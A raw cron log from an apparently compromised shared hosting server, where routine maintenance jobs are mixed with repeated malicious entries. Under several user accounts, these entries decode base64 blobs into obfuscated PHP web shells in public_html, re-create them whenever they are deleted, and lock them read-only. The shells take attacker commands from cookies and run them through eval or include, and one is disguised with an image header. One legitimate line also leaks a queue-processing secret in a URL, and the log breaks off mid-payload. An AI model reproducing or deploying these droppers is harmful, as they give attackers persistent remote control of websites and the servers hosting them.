Mar  1 09:28:01 medusa CROND[11019]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:28:01 medusa CROND[11020]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:28:01 medusa CROND[11026]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:28:01 medusa CROND[11028]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 09:28:01 medusa CROND[11029]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:28:01 medusa CROND[11030]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:28:01 medusa CROND[11031]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:29:02 medusa CROND[337]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 09:29:02 medusa CROND[338]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:29:02 medusa CROND[339]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:29:02 medusa CROND[340]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:29:02 medusa CROND[341]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:29:02 medusa CROND[342]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:29:02 medusa CROND[343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:29:02 medusa CROND[345]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:29:02 medusa CROND[346]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:29:02 medusa CROND[357]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:29:02 medusa CROND[358]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 09:29:02 medusa CROND[359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:29:02 medusa CROND[360]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:30:02 medusa CROND[21980]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 09:30:02 medusa CROND[21981]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 09:30:02 medusa CROND[21982]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 09:30:02 medusa CROND[21983]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 09:30:02 medusa CROND[21984]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 09:30:02 medusa CROND[21987]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:30:02 medusa CROND[21988]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 09:30:02 medusa CROND[21991]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 09:30:02 medusa CROND[21992]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 09:30:02 medusa CROND[21993]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 09:30:02 medusa CROND[21997]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 09:30:02 medusa CROND[21995]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 09:30:02 medusa CROND[21994]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:30:02 medusa CROND[22001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:30:02 medusa CROND[22004]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 09:30:02 medusa CROND[22003]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 09:30:02 medusa CROND[22005]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:30:02 medusa CROND[22009]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:30:02 medusa CROND[22011]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:30:02 medusa CROND[22008]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 09:30:02 medusa CROND[22019]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd